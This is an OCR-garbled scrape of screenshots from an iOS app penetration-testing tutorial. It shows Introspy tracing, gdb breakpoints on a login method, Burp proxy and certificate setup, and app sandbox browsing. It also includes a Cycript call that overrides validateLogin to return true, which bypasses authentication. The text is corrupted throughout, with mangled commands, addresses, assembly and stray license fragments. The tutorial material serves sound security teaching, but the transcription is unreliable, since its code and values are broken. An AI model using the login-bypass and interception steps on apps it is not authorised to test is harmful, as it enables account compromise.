Make as many copies of the installation media as you need for backup
o installation purposes. Reverse-engineer the software. Transfer the
software and all rights under this license to an other party togsther
with a copy of this icense and all material, writien or electronic,
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accepts the terms and conditions of this license. You los the right
o use the software and all other rights under this license when
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electronically transfer the software from one computer to ancther if
one computer belongs to another party.

You may not modify, adapt, translate, ren, lease, resell, distribute,
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Resolving www. dropbox.com. .. 199.47.216.170

Connecting to www.dropbox. com|199,47.216,1701 :443. .. connected.

HTTP request sent, awaiting response... 302 FOUND
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i >]34,886 --.-K/s in 0.09s
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prateekgianchandani@Prateeks-MacBook-Pro [~]
~~ % scp com.isecpartners.introspy-v@.3-105_6.1.deb root@10.
root@10.0.1.58's password:

com.isecpartners.introspy-v0.3-105_6.1.deb 100% 34KB 34.1KB/s  00:00

prateekgianchandani@Prateeks-MacBook-Pro [~]
-~ % ssh root€10.0.1.58
root@10.0.1.58's passwor

Prateeks-iPod:~ root#

(Reading database ... 7404 files and directories currently installed.)

Preparing to replace com.isecpartners.introspy .3.0-1 (using com.isecpartners. introspy-v0.3-i05_6.1.deb) ...

Unpacking replacement com.isecpartners. introspy ...

Setting up com.isecpartners.introspy (0.3.0-1)
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End of assembler dump.
Cadb) break *blx

No symbol "blx" in current context,
(gdb) break *0xd007e428

Breakpoint 3 at @x7e428

(gdb) b *0x0007ed5e

Breakpoint 4 at Ox7edSe

(gdb) b *@x0007e462

Breakpoint 5 at @x7e462

(gdb) b *0x0007e4%a

Breakpoint 6 at @0x7e49a

g I
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Continuing.
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IPhone

To Install Burp's GA certificate on your IPhone or other I0S device, perform the following

steps.

1

First. you need to use your desktop browser to expart Burp's GA certificate. This is
‘easy with both Inernet Explorer and Firefox. Follow the steps to install the CA
certficate In your deskiop browser. and then visit any HTTPS URL. Glick on the
padiock / SSL lcon to view the detalls of the SSL cerificate. Then select the foot
certiicate In the tree (PortSwigger CA), and in the details for that certificate click the
"Export” button. Save the cerificate somewhere on your computer using the .crt file
extension

Gopy the certificate onto your IPhone. The easiest way to do this Is to send it as an
‘emall attachment from your desktop computer to an account that your IPhone is set
up to receive emails for.

On your iPhone, open the email and click on the atiachment.

In the dialog that opens, click the "Install” button, and step through the certificate
installation wizard, entering your PIN number if requested

Note that you may be able to download Burp's CA certificate directly to your device by
Visiting htip://burp/cert with your device configured to Use Burp as its proxy.
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Target [ proy | spider | Scanner | imruder | Repeater | seuencer | Decoder | Comparer | Optons | Alerts |

Intercept | History | Options

Filter Hiding CSS, image and general binary content

[ alnost | Method | URL | Params | Modified | Status | Length | MIME type | Extension | Tile E
54 hitp//dataflurry.com POST  Jaasdo 7] O 200 149 do
56 htps://feelinsonice-hrdap.  POST /ba/upload @ O 200 255
57 hitps.//feclinsonice-hrd.ap. POST /ba/bests 7] O 200 349 Jon
58 hips://feclinsonice-hrdap. POST [ba/logaut 7] O 200 255
=
Request | Response |
[ Raw [ params | Headers
POST request to /ba/login
Tvpe [ Name [ Value
Body req_token 9303d356/d1bbagbera68ecr4aro73437e64d8619a8934cbATh 14d6es!
Body timestamp 1374599470583
sody version 501
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W Traced Calls

Lack of Data Protection With NSData

Severity
Medium

Description

Afile was written without any data protection options.
Relevant function calls

SData writeToFile:atomically:

“/var/mobi1e/Applications/72581630-F432-403D-8ASC-0679FC7D3198/ L ibrary/Caches/Tna
geTables/personsmall-50-50. data”,

“flag": false
¥

Retun Value:

true

80: NSData writeToFile:atomically:

Arguments:

{
"path®: "/var/mobile/Applications/72581630-F432-4030-8ASC-0679FC7D3190/L ibrary/Caches/Tna

geTables/personsmall-56-50. data”,
“flag": false
3
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® Show / Hige ShowAl || HideAl  DataStomge | Crypto | "

1: CFBUndleUALTypes CFBundieURLSchemes
2: CFBundleURLTypes CFBundieURLSchemes

Arguments:

{
"CFBundleURLNane": “com.path.path”,
"CFBundleURLSCheme": “path” ,
"CFBundleURLIsPrivate”: "nil"

T

Retum Value:

3: NSUserDefaults boolForKey:

Arguments;

{
"defaultNane’

b

"NSHriteOldStylePropertylists”

Retum Value:

false

4; Ulhpplication setDelegate;
5: NSUserDefaults boolForKey:

6: C SecltemCopyMatching
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1. ./Applications/BDGOSBCB-968C-4D27-B8BI-220C9286A4A4/introspy-com. toyopagroup. picaboo.db
Select the database to analyze: [|
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- % y D
usage: introspy.py [-h] [-v] [-o OUTDIR] [-1]
[-g {DataStorage,Crypto,Network, IPC, Misc}]
[-s {Filesystem,UserPreferences,Keychain,CommonCrypto, SecurityFramework,HTTP, Pasteboard, Schemes, XML}]
[-i {http,fileio,keys}]
db

introspy analysis and report generation tool

positional arguments:

db The introspy-generated database to analyze. specifying
an IP address causes the analyzer to fetch a remote
database.
optional arguments:
-h, —-help show this help message and exit
-v, --version show program's version number and exit

html report format options:
-0 OUTDIR, --outdir QUTDIR
Generate an HTML report and write it to the specified
directory (ignores all other command line optons).

command-line reporting options:
-1, --list List traced calls (no signature analysis performed)
-g {DataStorage,Crypto,Network, IPC,Misc}, ~~group {DataStorage,Crypto,Network,IPC,Misc}
Filter by signature group
-s {Filesystem,UserPreferences Keychain, CommonCrypto, SecurityFramework, HTTP, Pasteboard, Schemes, XML}, --sub-group {Filesystem,UserPreferences,Keychain,Cc
Crypto, Securi tyFramework, HTTP, Pasteboard, Schemes, XML}
Filter by signature sub-group

additional command-line options:
-i {http,fileio,keys}, --info {http,fileio,keys}
Enumerate URLs, files accessed, keychain items, etc.
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[ Renvest [ Response

[ [ esders [ s [ |

HTTP/1.1 200 OK
Server: Apache
Content-Length: la4d
Comtent-Type: text/xml
Date: Tue, 23 Jul 2013 11:5,
Connection: close

<7uml version='1.0" encoding="ISO-5859—
<data>

<£ilex<! [CDATA[http://cdn-akm.vmixcore -com/vmixcore/d1/ZX 1KAFpXUNBTV] LWk Nk lqRTIOVEE yT1REd 01TSXNIbUS 3HVhOe Lg ybGt JamopT
VNJc01tHnZ {bTFo ZENIN] }Xd0Q0 15 S admN MR KR 1wk JNk 5 q VINMO O SHVEKMG.It Vn 1 ¥Mmxx SHp vaUSESXpJaXdp¥ 1dWa2F XRmZ i M2R1H1h JaU9ps
TENal1pTENRA 2JHR V¥Muh 2] E5CFpDSTZ 1173 YkNSaHRHOX Ja Va RpT25 52X Vmth VOV T2pF M5 UQTIOVEF STVN3a K VinthV 0 7my jNkd VP SH1Pa LF5T
X13aWNHRn 1kRa VS ¥ 2u5cF pDSTZORE | 6TENKbHI2 SURZHFF pT2p ZMU55d 21 jHjkxt 210bFg ybGt Jam9 A THDFMGZTd 2 Lk SE1 pT2pFeks GUXh PVFUOTVRrc 0 LnT
JBZHEOWSHp ve ExDSmtaV3huZG1HeHVHONp iM]Vt ¥VAk ZmF XUH] PaUL 4TmpFaUxDSm1hV3hs¥s JHME LgHVKV3h ZLEO PHE YO YNz 0DC 5OTY i AWNDEKZ
GImymRIcZJUOMT1k/ file mpd]]></1le>

<adurl />

<165URL><! [CDATA[http://logs - vmixcore .com/ vmi xcore /playlog? token=7X 1KAF pXUBZY ] LuHkHJHk |qRTIOVEE yT1REA 01 TSXNIbU5HVhOe 1g
ybGtJam9pTVNJc 01 tHnZ jbTFoZENINk L tMXd0Q0 12 SH1admitMHhR § LwikNJINk5qVINMOOp SHVEKMGt Vn 1 ¥Mmxr SHp vaUSESXpJaXdpy 1dHa 2FXRmZ iM2R
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72: NSUserDefaults doubleForkey:
73: NSUserDefaults doubleForkey:

74: NSUserDefaults setDouble:fork

75: NSUserDefauits doubleForkey:

76: NSUserDefaults setDouble:forKey:

Arguments:

: |
“defoulthame"; "PTTooFewFriendsiastTimeIncrement”,
“value": 2073600

1

Retum Value:
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Burp Intruder Repeater Window Help

Targer [ proxy | Spider | scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Options | Alerts |

inercapt | Fistory | Opions |

Fver iln 5 s andsenrt v e

@

= Lwon o v [rarams | Wodtied | stats | Lonth | MVERype | Exension | Tie 1
1 http:/ /www.nasa.gov GET /rssrecent_videos.xml a a 200 13191 XML xml
; T

LS ¥s]
[[Regquest | Response |
R ] params | encers | v |

GET /vmixcore/ playuvprtoke
fost: cdn-akm.vmixcore.com
User-Agent: NASAX20TV/1.1 CPNstwork/545.1.4 Darwin/11.0.0
Accept: ©/*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Pragma: no-cache

connection: keep-alive

Proxy-Connection: keep-alive

DT50gsp0 by 1TbwyEZ 37 1EOT00 2Pn0 TvOWE out put—anl HTTE/ 1.1
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46: UiApplication setDelegate:
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This Connection is Untrusted

You have asked Firefox to connect securely to www.facebook.com, but we carit confirm
that your connection is secure.

Normally, when you try to connect securely, sites will present trusted (dentification to prove
that you are going to the right place. However, tis site's identity can't be verified.

What Should | Do?

if you usually connect to this site without problems, this error could mean that someone is
trying to |mpersonate the site, and you shouldn't continue.

Get me out of herel

Technical Details

. facebook.com uses an invalid security certifcate.
The centificate Is not trusted because the Issuer certificate s not trusted

(Error code: sec_error_untrusted_issuer)

| Understand the Risks

If you understand what's going on, you can tell Firefox to start trusting this site's
identification. Even f you trust the site, this error could mean that someone is
tampering with your connection.

Don't add an exception unless you know there's a good reason why this site doesn't use
trusted identification

Add Exception.
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This Connection is Untrusted

You have asked Firefox to connect securely to accounts.google.com, but we can't confirm
that yaur connection is secure.

Normally, when you try to connect securely, sites will present trusted Identification to prove
that you are going to the right place. However, this site's identity can't be verified.

What Should | Do?

f you usually connect to this site without problems, this error could mean that someone is
trying to Impersonate the site, and you shouldn't continue.

Get me out of herel

* Technical Details
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Advanced
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Configure Proxies to Access the Internet

(CNo proxy

{_Auto-detect proxy settings for this network
() Use system proxy settings.

(=) Manual proxy configuration:

HTTP Proxy: |127.0.0.1 Port:

[ Use this proxy server for all protocols

SSLProxy: 127.0.0.1 Port
FTP Proxy: 127.0.0.1 Port
SOCKS Host:: 127.0.0.1 Port

SOCKS v4 (+)50CKS v5
No Proxy for:

8080|:]

;In(alhnst, 127.0.0.1
|

Example: .mozilla.org, .net.nz, 192.168.1.0/24
() Automatic proxy configuration URL:
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Burp Iniruder Repeater Window Help

Tatger [ Broxy.| Spider | Scanner | Intruder | Repeater | sequencer | Decoder | Comparer | Optons | Alerts |

ntercept | Histary, | Options |

Filter: Hiding 55, image and general binary content
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®interface ViewController : UIViewController {
eprivate
UTextField* _usernameTextField;
UlTextField* _passwordTextField;

3

Eproperty(retain, nonatomic) UITextField* passwordTextField;
@property(retain, nonatomic) UTTextField* usernameTextField;
-(void). cx_destruct;

~(void)loginButtonTapped: (id)tapped;
~(void)didReceivetenoryarning;

-(void)viendidLoad;

gend
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Adsheet.app/ Contacts~iphone.app/ HelloWorld.app/  MobileNotes MobileStore Reminders.app/ Terninal.app/
Cydia.app/ Installous.app/ MobilePhone MobileTiner Respring.app/ Trusthe.app/
AppStore.app/  DemoApp.app/ Maps~iphone.app/ MobileSHs.app/ Mus ic~iphony Setup.app/ Utilities/
Calculator.app/ FileViewer.app/ MobileCal.app/  MobileSafari.opp/  Nike.app/ Snoop-it\ Config.app/ Videos.app/
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Prateeks-ipod:/Applications root#
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Core Data Features

‘The Core Data framework provides generalized and automated solutions to common tasks associated with object life-cycle and object graph management, including persistence. Its
features include

+ Change tracking and undo support.
Core Data provides built-in management of undo and redo beyond basic text editing.
« Relationship maintenance
Core Data manages change propagation, including maintaining the consistency of relationships among objects.
« Futures (faulting).
Core Data can reduce the memory overhead of your program by lazily loading objects, It also supports partially materialized futures, and copy-on-write data sharing.
« Automatic validation of property values.

Core Data's managed objects extend the standard key-value coding validation methods that ensure that individual values lie within acceptable ranges sa that combinations of
values make sense.

+ Schema migration.

Dealing with a change to your application's schema can be difficult, in terms of both development effort and runtime resources. Core Data’s schema migration tools simplify the
task of coping with schema changes, and in some cases allow you to perform extremely efficient in-place schema migration.

« Optional integration with the application’s controller layer to support user interface synchronization.

Core Data provides the NsFetchedresult

Controller object on IS, and integrates with Cocoa Bindings on 0S X,

« Full, automatic, support for key-value coding and key-value observing

In addition to synthesizing key-value coding and key-value observing compliant accessor methods for attributes, Core Data synthesizes the appropriate collection accessors for to-
many relationships.

+ Grouping, filtering, and organizing data in memory and in the user interface
+ Automatic support for storing objects in external data repositories.
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Selected Method: - (void) pushLoginPage: Setup and Invoke,

JiClasstype: App-Class
Jinstances: 0x 128760

@Interface ViewController - UlViewController {
Jlinstance Variables

UlTextField* _password TextField;
) UlextField" _usemameTextField;

IiProperties
@property (retain nonatomic) Ul TextField" usemameTextField; // =_usemameTextField
@property (retain.nonatomic) Ul TextField passwordTextField; // = _passwordTextField
IIMethods

- (bool) validateLogin:

(void) pushioginPage;
- (void) loginTapped: id)arg0;
- (void) login2Tapped: ()arg0;
- (void) setPasswordTextField:idjarg0;
- (void) setUsemameTextField:(id)arg0;
- (void) didReceiveMemoryWarning;
- (void) viewDidLoad;
- (id) passwordTextField;
- (id) usemameTextField;
- (void) dealioc;
- (idy init;
@end
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' [0] cancel
[ alt

" Non-debugging symbols:
| [2]1  +[ABFavoritesListManager sharedInstance]
. 3] +[AvAudioSession sharedInstance]
| [8]  +[CPPowerAssertionManager sharedInstance]
[5]  +DKFormattervendor sharedInstance]
[6]  +[NSMachBootstropServer sharedInstance]
[7]  +[NSMessagePortNameServer sharedInstance]
[8]  +[PCPersistentInterfaceManager sharedInstance]
[9]  +[PEPServiceConfiguration sharedInstance]
[16]  +[PLGatekeeperClient sharedInstance]
[11]  +[SSLockdown sharedInstance]
[12]  +[TISweepSource sharedInstance]
[13]  +[TlUserbictionaryController sharedInstance]
[14]  +[UDdictationController sharedInstance]
' [15]  +[UIDictationLandingView sharedInstance]
| [16]  +[UIDictationview sharedInstance]
[17]  +[UlinputSwitcher sharedInstance]
[18]  +[UInputSwitcherView sharedInstance]
| [19]  +[UKeyboardCache sharedInstance]

[20]  +[UIKeyboardCandidateBar sharedInstance]

[21]  +[UIKeyboardCandidateInline sharedInstance]
+[UIKeyboarddi ctationMenu sharedInstance]
+[UIKeyboardEnojiGraphics sharedInstance]
+[UIKeyboardInpl sharedInstance]
+[UIKeyboardOverlayManager sharedInstance]
+[UTKeyboardSplitControlMenu sharedInstance]
+[UIPeripheralHost sharedInstance]
sharedInstance
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Non-debugging symbols:

-[UINavigationController viewdidAppear:]

-[UTPageController viewdidAppear:]

[4]  -[UIReferenceLibraryVienController viewdidAppear:]
~[UISplitvienController vienDidAppear:]

[6]  -[UTTabBarController viewDidAppear:]

[7]  -[UITableviewController viewidAppear:]

[8] -[UIViewController viewDidAppear:]
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prateekgianchandani@Prateeks-MacBook-Pro [~/Library/Application Support/iPhone Simulator/6.1/Appl ications/51038
55-3CEC~4090-2888-A70BF12C7ES0/ Documents ]

- % sqlites MyCoreData.salite
SQuite version 3.7.12 2012-04-03 19:43:07
Enter ".help" for instructions
Enter SQL statements terminated with a *;"
salite> tables
ZSTORIES  ZMETADATA  Z_PRIMARYKEY
sqlite> ||
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(o) EERR

Dump of assembler code for function -[ViewController loginButtonTapped:]:
7, 1r}

0x000e9578 <-[VienController loginButtonTapped:J+d>:
0x000e957a <-[ViewController loginButtonTapped: 1+
0x000e95c <-[VienController logi

0x000e95fe <-[ViewController
0x00069600 <-[ViewController 5
€xB00e9602 <-[VienController loginButtonTapped:1+10>;

0x000e9604 <-[ViewController loginButtonTapped:1+12>:
0x000e9608 <-[ViewController loginButtonTapped:1416>:
0x000e960c <-[VienController loginButtonTapped:1+20>:
0x000e9610 <-[ViewController loginButtonTapped:J+24>:
0x000e9612 <-[VienController loginButtonTapped:1+26>:
0x000e9614 <-[ViewController loginButtonTapped:1+28>:
0x000e9618 <-[ViewController loginButtonTapped:J+32>:
@xB00e961c <-[VienController loginButtonTapped:1436>:
@x000e961e <-[ViewController loginButtonTapped:+38>:
0x000e9622 <-[ViewController loginButtonTapped:1+42>:
0x000¢9626 <-[ViewController loginButtonTapped:]+46>:
0x000e9628 <-[ViewController loginButtonTapped: J+48>:
0x020e962a <-[ViewController loginButtonTapped:1s58>:
0x000e962c <-[ViewController loginButtonTapped:1452>:
0x000e962¢ <-[ViewController loginButtonTapped:J+54>:
€x900e9630 <-[VienController loginButtonTapped:1456>:
0x000e9632 <-[ViewController loginButtonTapped:1+58>:
0x000e9634 <-[ViewController loginButtonTapped:1460>:
0x00029636 <-[VienController loginButtonTapped:1+462>:

push

SITEIFE

LN

str
1dr
1dr

14

dr
1dr

4

7,
B,
0,
",
o,

»
#0
[sp, #36]
[sp, #32]
2

Oxeafdd <dyld_stub_objc_retaim

1,
1,
1,
1,
r2,
2,
r2,
3,
3,
3,

0,

#6772 3 exia74
0 ;00

pe

[r1, #9]

#8372 3 oxzobs
0 ;60

pc

#8610 ; o102
® ;ee

pe

[sp, #28]

[sp, #36]

[r3, #]

3

[ro, #a]

(rz, #0]

sp, #24]

r2
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(33 Applications
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" £ Media

" [ Root
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" (3 user

DS_Store
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3 Media

¥ [ Root
+ & me

>
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(5] 41FE9E3E-A.. 130131028
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(gdb) continue

Continuing.

Breakpoint 3,
Cgav) |

@x000e95e in ~[ViewController loginButtonTapped:] O
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(gdb) continue
Continuing.
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i0S Simulator — iPhone (Retina 4-inch) / 05 6.

iPhone 5s and iPhone 5c co...
Apple iPads earn the “most...
Apple reportedly expanding...
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iMessages not sending in iO...
Best Buy offering free iPhone...

Study shows apps are twic

New iOS app turns Kim Kard...
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+ Sophisticated query complfation.

Instead of writing SQL, you can create complex queries by associating an NSPred:cate object with a fetch request. ns® = provides support for basic functions, correlated
subqueries, and other advanced SQL. With Core Data, it also supports proper Unicode, locale-aware searching, sorting, and regular expressions.
+ Merge policies

Core Data provides built in version tracking and optimistic locking to support automatic multi-writer conflict resolution.
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cy# ViewController.messages
{validateLogin:ExG3535, pushLoginPage
‘emoryWarning: 8x63371, viewDidLoad

ATapfed: 076 oginzTapned: " 1063420 as LeTd: " £0x63Thd " SeTd:"E0xE3821, didReceive
[FY, paS<UOTATEXEr telds0xBa7al UsernaneTaxtE1aldsANEI80S deal Loc: 0x63425,  snoopiCanBeDismissed:8x24dc79, snoopiDismiss:@x24dcad,
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</dict>
<dict>
<keystis.stringe/key>
<string>474b0148-1744-4808-B6c3-T0ba7 fdd TIeac/strings
</sict>
<dicts
<keysNs.string</key=
<5t ring*53FCCIESABECBDCAT7169297E92CEOED ADETAEDEDSB60C34185CE IDCEBB2084</ 5t ring>
</dict>
<dict>
<keysNs.objects</key>
<array/>
</sict>
<dict/>
<dict>
<keysNs.string</key>
<string-248076374010065221r /st ring>
</gict>
<dicts
<keysNs. stringe/key>
<stringsgafffgte/string>
</gict>
Hicts
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cy# [UIApp.keyWindow.rootViewController.visibleViewController pushLoginPage]
eve ll
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Prateeks—iPas
Prateeks-iPo
81302230-3546-4200-89A4-25E53BEOEGOE/
0758F7BE-3038-4848-910C-04DD1C25F6A3/
0A26D550-£389-4021-AC74-05CETAGFABC2/
0B1F2EDB-AB4D~4EF4-920C-751A23C82468/
388323-91FE-4420-5424-58856AA10825/
0C33002-9E46-4280-9876-516ARGFFESBF/
OFD6BBFF-F587-426F ~8A62-5F1CLABCEDER/
OFFO1000-CEC1-4518-A793-BD3616220E12/
1332F885-9985-4041-5483~ABFBEIFADL05/
Prateeks-iPo
class-info-Prateek

0130223D-3546-420D-B3A4-25ESIBEDEGOE
Documents/ GeoDoIt.app/ Library/

0759F7BE-9038-4B48-910C-04DD1C25FEAS:
Socunents/ Library/ kink.app/ tmp/

0A26D55D-E380-4021-ACT4-95CETABFABC2:
Docunents/ Library/ jsa.app/ tmp/

iTunesArtwork

£ raoi¥ cd /private/var/mobile/Apglications/
/private/var/mobile/Applications root# ls

181C39EF~EAE-4DB3-0458-900920086728/
25B6D842-FCAS-489D-AB3C-BFD6381B4C30/
281DAADF~793€-4168-8971-ASB251A1A0A0/
2A0893CE~BA92-49BD~AF6B~ES0BOA4DAGES/
2E854558-C89D-4ED4-ACBE-C87468C850CT/
306AFDB0-3843-4695-B7F7~4BB1EG967ERC/
3E24EA16-52D9-4C71-BFOD-AQLC1332835/
41A20265-21A7-4F0A-8547-ACFCA4350684/
434EBFDB-3A3C-43AD-B7C7-DB784DFCDAS/

/private/var/mobile/Applications root# ls x

$TunesMetadata. plist

tmp/

53580F2F-0A7F-4CA2-8903-C9365C546F22/
72581630-F432-4030-BASC-0679FC7D3190/
72031236-6C91-4A6C~AAAC-DO5D6A23E663/
73351C65-5DEC-4B52-B06A-DB122C074EBL/
7FBADDG6-8108-484A-A148-CDEABBABIAGD/
83470809-2005-4E64-9BA7-302172544E99/
86024898-8C17-4B1A-B64F-20CFDI176262/
9068A5EQ-7ADB-4DBB-BFC3-18821C37E7E6/
9CA2B6D5-F7A9-4ELD-AIFD~5DBIDADC730D/

A2090416-ACAE-4AFD-80C7-DB17AS870425/
ABDA4BAI-C54-4CO6-B7BA-BCIE2BAAF244/
A91FAGBD-AGEF~429E-BEAF~202380931031/
AR997C0D-9170-4350-887A-234229BFA3AC/
AE§43857-F398-4529-8518-9E5A7533COE7/
B3D09AIB-7A79-47E4-BBID-3A04A0353391/
D1CEA977-87C4-4D42-8550-016C41F 73075/

746A-4A63-9662-B1CAIEF7DCBB/
7676-449E-ADC5-529A278898D0/

D4C8923D-73F2-4D3E-97F1-0FBDCE06D355/
D570626C-AB93-4760-99FF~352E42CE5874/
D9448818-7D48-497F~8656-BAATBGDFESIC/
DE42E795-50BF ~4F02-9989-CF24E0B65995/
EABAOFEE-0178-4951-8706-3A3CC2C52A6F/
FO61385F-EBE4-4C7A-8BB7-5876B2DF3852/
FAC63958-B6EF~4908-01F3-6A36F6A51667/
F95EDAF9-BB74-4D04-A94A-ACFF648F0B46/
class-info-Prateek
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Defcon
Defcon.salite
Hicon.png

Info.plist

1 MainWindow.nib
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den  pejete
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Booie  New Folder
Add Files...

Bsot:

3 tool

whi

el

» [Documerits
» (EUibrary

Mount as Disk

Export to Folder...

iExplorer.

<7xml version="1.0" encoding

<1DOCTYPE plist

<plist version:

<dict>
<keysrules</key>
<dict>

i

<eys =<shey>
<trie/
Zkey>Info.plist</key
diens
<keyonit</key>
trie/
“keysueight</key>
Sreals10¢/real>
</sices
SkeysResourceRutes. plist</key>
aiees
“eysonite/key>
<true/
“keysweight</key>
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dice
<keyonit/key>
true/
<keysueight</key>
Zinteger>10000</ integer>
%0 </sice
<keys~SC_Tnfa/.#\.suppse/ key>
P
<keyonit</key>
®R <trie/>
<keyweight</key>
*D <integer>10000</ integer>
<saiet

8P gics
®a

o8N
T®A

RE

ResourceRules.plist

o

Open with Xcode5-DP2

UBLIC "-//Apple//DTD PLIST 1.0//EN" "http://wew.apple.con/DTDs/Propertylist-1.0.dtd">

=

‘ceRules.plist

b-jui-2010 1:31 1
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urn true;

cy# ViewController.messages|'validatelogin']
functlon () {return true;}
e i

funczion() {r:
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@interface ViewController : UIViewController
eprivate
UITextFielos _passwordTextField
UITextFields _usernameTextField!

3
@property(retain, nonatomic) UlTextFields passwordTextFiel
@property(retain, nonatonic) UITextFielos usernameTextField.
~(void)pushLoginPage;

~(B0OL) validateLogin

~(vo1d) login2Tappe:

~(void) loginTapped:
~(voig)gealloc;
~(voia)idReceiveMenoryWarning;
~(vo1d)viewbidLoad;

eend

(1) tappe
16) tapped;
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[ iExplorer . W Prateek's iPod [ Root ., var

mobile [ Library - ] AddressBook

Name. File Type. Size Date Modified
sallte_history 748 27711712 4:45 PM
» (5 Applications 16/07/13 4:40 PM
+ I Documents 16/07/13 3:14 PM
v ELibrary 16/07/13 5:02 PM
locallzed 30/08/11 9:02 AM
» [ Accounts 02/11/12 3:25 PM
v [ AddressBook 19M8  17/07/13 12:29PM
T AddressBook s~ S 368 kB 17/07/13 3:56 AM
‘AdaressBook.s  OPEN %0 Iy 32K8 18/07/13 3:47 PM
AddressBooks  Quick Look A 2418 17/07/13 6:41 PM
f AddressBookin  Refresh R 15M8 15/07/13 9:40 PM
AddressBookst  Add Bookmark %D 16/10/12 11:39 PM
» [ AggregateDictior 18/07/13 4:41 PM
» (lAspCake2 paste e 03/06/13 11:40 PM
Application Deléte 2@ 12/07/13 5:37 PM
» (1 Application Supp 31/12/12 4:33 PM
» [HAoplicationsyne New Folder oxN 16/07/13 4:40 PM
b [Assers Add File: A 07/01/12 1:11 PM
» [Bulletngoard QT —— 17/07/13 6:40 PM
» (5 Caches 18/07/13 3:51 PM
» [ Calendar Mount as Disk 18/07/13 4:09 PM
» (5 ConfigurationProfiles 28/05/13 1:10 AM
» [ Cookles 17/07/13 10:59 PM
» [ DataAccess 17/07/13 3:56 AM
» [ FairPlay 07/01/12 2:27 PM
» I FlurryFiles 05/07/13 2:57 PM
» [ GameKit 07/01/12 12:47 PM
» il inboxes 16/09/11 12:28 PM
» [ Keyboard 09/07/13 7:11 PM
» ilLogs 16/07/13 1:17 PM
» [ vail 18/07/13 4:10 PM
» (i Maps 01/02/13 2:47 PM

» [ MediaStream

17/03/12 10:07 AM
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cpsr
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Bl version="1.0" encoding="UTF-8"7>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.8//EN" “http://www.apple.com/DTDs/PropertyList-1.0.dtd"
Splist version-'i.0t>

et

<key>MaxSupportedVersion</key>
<string>13.0</string>
<key>MinSupportedVersion</key>
<string=3.0</string>
<key>SystenDonains</key>
<gicts
<key>BooksDomain</key>
<dict>
<key>Relat ivePathAggregateDict ionaryGroups</key>
<gict>
<key></key>
<string>books</string>
</dict>
<key>Relat ivePathsNot ToBackup</key>
<array/>
<key>Relat ivePathsNotToBackupToDrives</key>
<array>
<string># don't remove items not restored</string>
</array>
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Prateeks-iPod:/ root# plutil ~convert xmll System/Library/Backup/Domains.plist
Converted 1 files o AL format
Prateeks-iPoi/ roots §
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Attaching to process 508.

Reading synbols for shared libraries . done

Reading symbols for shared libraries warning: Could not find object file "/Users/prateekgianchandani/Library/Developer/Xcode/Derived
Data/GOB-Demo-ekqgzzhtmzsyme cdndx Jhkonhds, Build, Intermediates//GDB-Demo. build/Debug-1phoneos/GDE-Demo  build/Objects-normal /armv7/ma.
n.0" - no debug infornation available for "main.m".

warning: Could not find object file "/Users/prateskgianchandani/Library/Developer/Xcode/Derivedata/GO-Demo-ekqgzzhtmzsymccdmdxf jhk
‘onids/Build/Intermedi ates/G0B-Demo. build/Debug-iphoneos/GDB-Demo. bui1d/Objects-normal /armv7/Applelegate 0" - no debug information av
ailable for “AppDelegate.n”.

warning: Could not find object file "/Users/prateekgianchandani/Library/Developer/Xcode/DerivedData/GDB-Demo-ekagzzhtmzsymccdnaxf jhk
‘omhds/Bui1d/Intermediates,/GDB-Demo. build/Debug-iphoneos/GDB-Demo. build/Objects-normal /armv7/VienControl ler.o" - no debug information
ovailable for "ViewController.n".

warning: Could not find object file "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault. xctool chain/usr/lib/arc/liba
rclite_iphoneos.a(arclite.0)" - no debug information available for “arclite.

Reading symbols for shared libraries + done
0x35919004 in mach_msg_trap OO
@ |

;
:
)
]
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Pratecks-iPod: /var/mobile root# cd /
Pratecks-1Pod:/ root# find + . -name x.plistl
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: prateekgianchandani@Prateeks-MacBook-Pro [-]
| % ssh roote172.20.10.5
ro0t€172,20.10.5's password:
Prateeks-iPod:~ root# ||

3
:
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Dump of assembler code for function mais

0x000e936c <maini®>:
0x000e936e <maine2>:
0x00069370 <mainid>:

push
mov
sub
movs
movt

str

STTEEH

S H

{r7, 1r}

7, sp

sp, #36

r2, #@

2, #@ ; 0d

2, [sp, #32]

9, [sp, #28]

r1, [sp, #24]

@xeafcs <dyld_stub_objc_autareleasePoolPush>
r1, #7418 ; Gacfa
"1, #0 ; 0@

ri, pc

r1, [r1, #]

2, #9006 ; 0232e
2, % ;00

r2, pc

r3, #9092 ; o238s
3,40 ;00

3, pc
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o MName & Date Modified Kind

05 store Today 6:43 PM Document
» [ 26A7DBA1-13DF-4B74-AE01-63COC2BAS996 Today 6:03 PM Folder
¥ [ 41FE9E3E-AOEB-49EA-843B-7DE130131028 29-Sep-2013 9:02 PM Folder
> 3131CAF0-BEB8-4EDB-8870-BCIBE1C00564 01-0ct-2013 2:47 PM Folder
¥ [ 14285228-7627-497C-BFBF-6D8COFEFOCFO 25-Sep-2013 6:15 PM Folder
¥ [C] AB3595C4-92FC-4138-99C6-43815E1F77E0 29-Sep-2013 10:47 PM - Folder
> 3 COF0-473F-0469-426715C34A02 Today 607 PM [
» (1 B26F2726-C608-4217-BFO1-05B97784473F 20-5ep-2013 1112 PM —  Folder
¥ [ B27FC6BC-8CDF-4323-BCGE-FF3AFCF8BB3B 29-Sep-2013 11:12 PM Folder
¥ [ BE3CBFA2-586D-4A99-8764-152DFEI7EF26 29-5ep-2013 10:47 PM Folder
» [0 €7484357-2583-41F1-88B1-7E4E91CB3ISE 04-0ct-2013 2:04 AM Folder
» (1) CB632019-A9IAE-4849-B6F6-713124C41D59 03-0ct-2013 11:31 PM Folder
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iNalyzer for iOS 5.5.4b

7 I

Change Package Settings >

Author AppSec-Labs

iNalyzer for iOS 5 v5.5.4b

&9 More Information >

Installed Package

[=] version 55b
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(gdb) commands

Type comands for when breakpoint 4 is hit, one per line.
End with a Line saying just end".

>printf “[¥s %I\n",(char *)class.gethame(**$r0),Sr1

>

send

(gdb) ©

Continuing,
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class_getName
Returns the name of a class.

const char * c

atNane(CL

Parameters
ds
A class object.

Return Value
The name of the class, or the empty string if cls is 1.

Availability
Available in OS X v10.5 and later.
Declared In

obje/runtine
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(gdb) §

Continuing.
Breakpoint 2, 0x34333f72 in objc_msgsend O

0x208970: @x3e8Bb4cc <0BIC_CLASS_S_UTRoundedRectButton>

0x3709857d: “class"

Breakpoint 2, @x3433372 in objcmsgsend O

0x28970: Ox3egbécc <0BIC_CLASS_S_UTRoundedRectButton>

0x37098476: “respondsToSelector:"

